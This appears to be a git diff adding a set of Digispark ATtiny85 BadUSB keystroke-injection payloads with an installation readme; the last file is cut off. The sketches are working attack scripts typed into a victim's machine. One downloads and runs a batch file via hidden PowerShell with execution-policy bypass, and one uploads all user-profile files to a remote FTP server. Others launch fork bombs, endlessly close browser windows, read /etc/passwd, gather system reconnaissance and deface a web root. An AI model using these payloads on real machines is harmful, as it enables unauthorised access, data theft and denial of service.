diff --git a/attiny85_digispark/anti_browser/anti_browser.ino b/attiny85_digispark/anti_browser/anti_browser.ino new file mode 100644 index 0000000..3edd1af --- /dev/null +++ b/attiny85_digispark/anti_browser/anti_browser.ino @@ -0,0 +1,34 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); + delay(2000); + DigiKeyboard.println("cmd"); + delay(4000); + DigiKeyboard.println("cd %userprofile%/Downloads"); + delay(2000); + DigiKeyboard.println("copy con CW.vbs"); + delay(2000); + DigiKeyboard.println("do"); + delay(2000); + DigiKeyboard.println("Set objShell = CreateObject(\"WScript.Shell\")"); + delay(2000); + DigiKeyboard.println("WScript.Sleep 800"); + delay(2000); + DigiKeyboard.println("objShell.SendKeys \"^{W}\""); + delay(2000); + DigiKeyboard.println("loop"); + delay(2000); + DigiKeyboard.sendKeyStroke(KEY_Z,MOD_CONTROL_LEFT); + delay(3000); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + delay(2000); + DigiKeyboard.println("start CW.vbs && exit"); + while(1); + } diff --git a/attiny85_digispark/basic_terminal_commands_ubuntu/basic_terminal_commands_ubuntu.ino b/attiny85_digispark/basic_terminal_commands_ubuntu/basic_terminal_commands_ubuntu.ino new file mode 100644 index 0000000..3bc746d --- /dev/null +++ b/attiny85_digispark/basic_terminal_commands_ubuntu/basic_terminal_commands_ubuntu.ino @@ -0,0 +1,22 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { +delay(1000); +DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT); +delay(2000); +DigiKeyboard.println("gnome-terminal"); +delay(3000); +DigiKeyboard.println("pwd"); +delay(2000); +DigiKeyboard.println("id"); +delay(2000); +DigiKeyboard.println("cat /etc/passwd"); +delay(2000); +while(1); +} diff --git a/attiny85_digispark/example_hc0n/example_hc0n.ino b/attiny85_digispark/example_hc0n/example_hc0n.ino new file mode 100644 index 0000000..0d9abff --- /dev/null +++ b/attiny85_digispark/example_hc0n/example_hc0n.ino @@ -0,0 +1,23 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + delay(4000); + DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); + delay(5000); + DigiKeyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('[url_pastebin]',\\\"$env:userprofile\\Desktop\\hc0n.bat\\\")"); + delay(12000); + DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); + delay(3000); + DigiKeyboard.println("cmd"); + delay(5000); + DigiKeyboard.println("cd %USERPROFILE%\\Desktop"); + delay(4000); + DigiKeyboard.println("hc0n.bat"); + while(1); +} diff --git a/attiny85_digispark/example_hc0n/readme.md b/attiny85_digispark/example_hc0n/readme.md new file mode 100644 index 0000000..dc2b59f --- /dev/null +++ b/attiny85_digispark/example_hc0n/readme.md @@ -0,0 +1 @@ +Script used for H-c0n Conference diff --git a/attiny85_digispark/fake_update_screen/fake_update_screen.ino b/attiny85_digispark/fake_update_screen/fake_update_screen.ino new file mode 100644 index 0000000..4f2ddfa --- /dev/null +++ b/attiny85_digispark/fake_update_screen/fake_update_screen.ino @@ -0,0 +1,14 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); + delay(2000); + DigiKeyboard.println("iexplore -k http://fakeupdate.net/win10u/index.html"); + while(1); +} diff --git a/attiny85_digispark/fork_bomb/fork_bomb.ino b/attiny85_digispark/fork_bomb/fork_bomb.ino new file mode 100644 index 0000000..c860425 --- /dev/null +++ b/attiny85_digispark/fork_bomb/fork_bomb.ino @@ -0,0 +1,20 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); + delay(2000); + DigiKeyboard.println("cmd"); + delay(3000); + DigiKeyboard.println("MODE CON: COLS=15 LINES=1"); + delay(2000); + DigiKeyboard.println("COLOR EF"); + delay(2000); + DigiKeyboard.println("for /l %x in (1,1,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) do start"); + while(1); +} diff --git a/attiny85_digispark/ftp_download_upload/ftp_download_upload.ino b/attiny85_digispark/ftp_download_upload/ftp_download_upload.ino new file mode 100644 index 0000000..f4b4f4f --- /dev/null +++ b/attiny85_digispark/ftp_download_upload/ftp_download_upload.ino @@ -0,0 +1,33 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); + delay(2000); + DigiKeyboard.println("cmd"); + delay(3000); + DigiKeyboard.println("cd %USERPROFILE%"); + delay(2000); + DigiKeyboard.println("ftp -i SERVER"); + delay(2000); + DigiKeyboard.println("USERNAME"); + delay(2000); + DigiKeyboard.println("PASSWORD"); + delay(2000); + DigiKeyboard.println("GET WinSCP.com"); + delay(2000); + DigiKeyboard.println("GET WinSCP.exe"); + delay(2000); + DigiKeyboard.println("quit"); + delay(2000); + DigiKeyboard.println("WinSCP.com /command \"option batch abort\" \"option confirm off\" \"open ftp://USERNAME2:PASSWORD2@SERVER2\" \"put *.*\" \"close\" \"exit\""); + delay(2000); + DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_ALT_LEFT); + DigiKeyboard.print("N"); + while(1); +} diff --git a/attiny85_digispark/information_gathering_ubuntu_part_1/information_gathering_ubuntu_part_1.ino b/attiny85_digispark/information_gathering_ubuntu_part_1/information_gathering_ubuntu_part_1.ino new file mode 100644 index 0000000..8d90e9a --- /dev/null +++ b/attiny85_digispark/information_gathering_ubuntu_part_1/information_gathering_ubuntu_part_1.ino @@ -0,0 +1,30 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + delay(2000); + DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT); + delay(3000); + DigiKeyboard.println("gnome-terminal"); + delay(3000); + DigiKeyboard.println("echo \"Logged in user: \" $USER > info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo -n \"Distribution Kernel Version: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("cat /etc/issue | cut -c1-13 >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo -n \"uname results: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("uname -a >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + while(1); +} diff --git a/attiny85_digispark/information_gathering_ubuntu_part_2/information_gathering_ubuntu_part_2.ino b/attiny85_digispark/information_gathering_ubuntu_part_2/information_gathering_ubuntu_part_2.ino new file mode 100644 index 0000000..d184f7c --- /dev/null +++ b/attiny85_digispark/information_gathering_ubuntu_part_2/information_gathering_ubuntu_part_2.ino @@ -0,0 +1,29 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + delay(2000); + DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT); + delay(3000); + DigiKeyboard.println("gnome-terminal"); + delay(3000); + DigiKeyboard.println("echo \"Shellsock Bug Vulnerability: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo \"Mounted filesystems: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("mount -l >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + while(1); +} diff --git a/attiny85_digispark/information_gathering_ubuntu_part_3/information_gathering_ubuntu_part_3.ino b/attiny85_digispark/information_gathering_ubuntu_part_3/information_gathering_ubuntu_part_3.ino new file mode 100644 index 0000000..1559981 --- /dev/null +++ b/attiny85_digispark/information_gathering_ubuntu_part_3/information_gathering_ubuntu_part_3.ino @@ -0,0 +1,32 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + delay(2000); + DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT); + delay(3000); + DigiKeyboard.println("gnome-terminal"); + delay(3000); + DigiKeyboard.println("echo \"Network Configuration: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("ifconfig -a | grep 'Link\\|inet' >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo \"Print Hosts: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("cat /etc/hosts >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo \"Print ARP: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("arp >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + while(1); +} diff --git a/attiny85_digispark/information_gathering_ubuntu_part_4/information_gathering_ubuntu_part_4.ino b/attiny85_digispark/information_gathering_ubuntu_part_4/information_gathering_ubuntu_part_4.ino new file mode 100644 index 0000000..0a3b49a --- /dev/null +++ b/attiny85_digispark/information_gathering_ubuntu_part_4/information_gathering_ubuntu_part_4.ino @@ -0,0 +1,38 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + delay(2000); + DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT); + delay(3000); + DigiKeyboard.println("gnome-terminal"); + delay(3000); + DigiKeyboard.println("echo \"Development tools availability: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("which gcc >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("which g++ >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("which python >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo \"Print TCP/UDP Listening Services: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("netstat -tunlpe >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo \"Installed Packages: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("dpkg -l >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + while(1); +} diff --git a/attiny85_digispark/information_gathering_ubuntu_part_5/information_gathering_ubuntu_part_5.ino b/attiny85_digispark/information_gathering_ubuntu_part_5/information_gathering_ubuntu_part_5.ino new file mode 100644 index 0000000..aad71a1 --- /dev/null +++ b/attiny85_digispark/information_gathering_ubuntu_part_5/information_gathering_ubuntu_part_5.ino @@ -0,0 +1,27 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT); + delay(3000); + DigiKeyboard.println("gnome-terminal"); + delay(3000); + DigiKeyboard.println("echo \"Find Readable Folders in /etc: \" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("find /etc -user $(id -u) -perm -u=r -o -group $(id -g) -perm -g=r -o -perm -o=r -ls 2> /dev/null >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("echo \"Find SUID and GUID files\" >> info_gathering.txt"); + delay(2000); + DigiKeyboard.println("find / -type f -perm -u=s -o -type f -perm -g=s -ls 2> /dev/null >> info_gathering.txt"); + delay(5000); + DigiKeyboard.println("exit"); + delay(2000); + while(1); +} diff --git a/attiny85_digispark/installation.md b/attiny85_digispark/installation.md new file mode 100644 index 0000000..9384c2d --- /dev/null +++ b/attiny85_digispark/installation.md @@ -0,0 +1,30 @@ +Description: + +30 payloads for Digispark (Attiny85 BadUSB). + Most payloads are taken from the USB Rubber Ducky + If you find any errors, contact me + +Installation: + https://thehackerway.com/2017/07/10/badusb-ultra-low-cost/ + +Contact: + Twitter: http://www.twitter.com/JoelSernaMoreno/ + GitHub: http://www.github.com/joelsernamoreno/ + + Version: 1.0 + Design: Joel Serna + Implementation: Joel Serna + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + diff --git a/attiny85_digispark/invisible_fork_bomb/invisible_fork_bomb.ino b/attiny85_digispark/invisible_fork_bomb/invisible_fork_bomb.ino new file mode 100644 index 0000000..e62ab0f --- /dev/null +++ b/attiny85_digispark/invisible_fork_bomb/invisible_fork_bomb.ino @@ -0,0 +1,28 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); + delay(2000); + DigiKeyboard.println("cmd"); + delay(2000); + DigiKeyboard.println("copy con forkb.vbs"); + delay(2000); + DigiKeyboard.println("do"); + delay(2000); + DigiKeyboard.println("CreateObject(\"Wscript.Shell\").Run \"cmd\", 0, False"); + delay(2000); + DigiKeyboard.println("loop"); + delay(2000); + DigiKeyboard.sendKeyStroke(KEY_Z,MOD_CONTROL_LEFT); + delay(3000); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + delay(3000); + DigiKeyboard.println("start forkb.vbs && exit"); + while(1); +} diff --git a/attiny85_digispark/lock_your_computer_message_prank/lock_your_computer_message_prank.ino b/attiny85_digispark/lock_your_computer_message_prank/lock_your_computer_message_prank.ino new file mode 100644 index 0000000..438b026 --- /dev/null +++ b/attiny85_digispark/lock_your_computer_message_prank/lock_your_computer_message_prank.ino @@ -0,0 +1,33 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); + delay(2000); + DigiKeyboard.println("notepad.exe"); + delay(5000); + DigiKeyboard.println("I will learn to lock my computer."); + delay(1000); + DigiKeyboard.println("I will learn to lock my computer."); + delay(1000); + DigiKeyboard.println("I will learn to lock my computer."); + delay(1000); + DigiKeyboard.println("I will learn to lock my computer."); + delay(1000); + DigiKeyboard.println("I will learn to lock my computer."); + delay(1000); + DigiKeyboard.println("I will learn to lock my computer."); + delay(1000); + DigiKeyboard.println("Please remember to lock your computer when you step away from your desk."); + delay(1000); + DigiKeyboard.println("Thank you."); + delay(1000); + DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_ALT_LEFT); + DigiKeyboard.print("x"); + delay(3000); +} diff --git a/attiny85_digispark/non_malicius_auto_defacer/non_malicius_auto_defacer.ino b/attiny85_digispark/non_malicius_auto_defacer/non_malicius_auto_defacer.ino new file mode 100644 index 0000000..d520cc6 --- /dev/null +++ b/attiny85_digispark/non_malicius_auto_defacer/non_malicius_auto_defacer.ino @@ -0,0 +1,34 @@ +#define kbd_es_es +#include "DigiKeyboard.h" + +void setup() { + DigiKeyboard.update(); + DigiKeyboard.delay(5000); +} + +void loop() { + DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT); + delay(1000); + DigiKeyboard.println("gnome-terminal"); + delay(3000); + DigiKeyboard.println("cd /var/www"); + delay(2000); + DigiKeyboard.println("mv index.* index.bak"); + delay(2000); + DigiKeyboard.println("touch index.html"); + delay(2000); + DigiKeyboard.println("nano index.html"); + delay(2000); + DigiKeyboard.println(""); + delay(2000); + DigiKeyboard.println("